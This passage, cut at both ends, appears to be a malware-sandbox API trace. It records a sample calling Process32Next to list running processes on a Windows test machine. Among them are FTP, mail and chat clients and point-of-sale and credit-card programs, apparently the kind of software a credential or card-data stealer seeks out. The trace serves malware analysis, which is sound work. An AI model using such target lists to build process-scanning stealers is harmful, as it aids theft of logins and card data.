szExeFile="svchost.exe")) returned 1 [0280.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.180] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0280.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0280.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.196] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0280.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0280.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.205] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0280.206] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0280.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0280.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0280.210] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0280.212] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0280.213] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0280.215] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0280.216] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0280.256] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0280.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0280.260] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0280.261] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0280.263] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0280.265] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0280.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0280.268] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0280.270] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0280.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0280.273] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0280.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0280.276] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0280.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0280.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0280.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0280.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0280.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0280.333] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0280.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0280.337] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0280.339] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0280.341] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0280.343] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0280.345] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0280.347] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0280.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0280.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0280.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0280.355] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0280.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0280.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0280.360] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0280.362] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0280.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0280.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0280.437] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0280.440] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0280.442] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0280.444] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0280.446] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0280.447] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0280.449] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0280.452] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0280.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0280.458] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0280.460] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0280.462] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0280.464] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0280.466] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0280.468] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0280.470] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0280.521] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0280.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0280.526] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0280.528] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0280.530] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0280.532] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 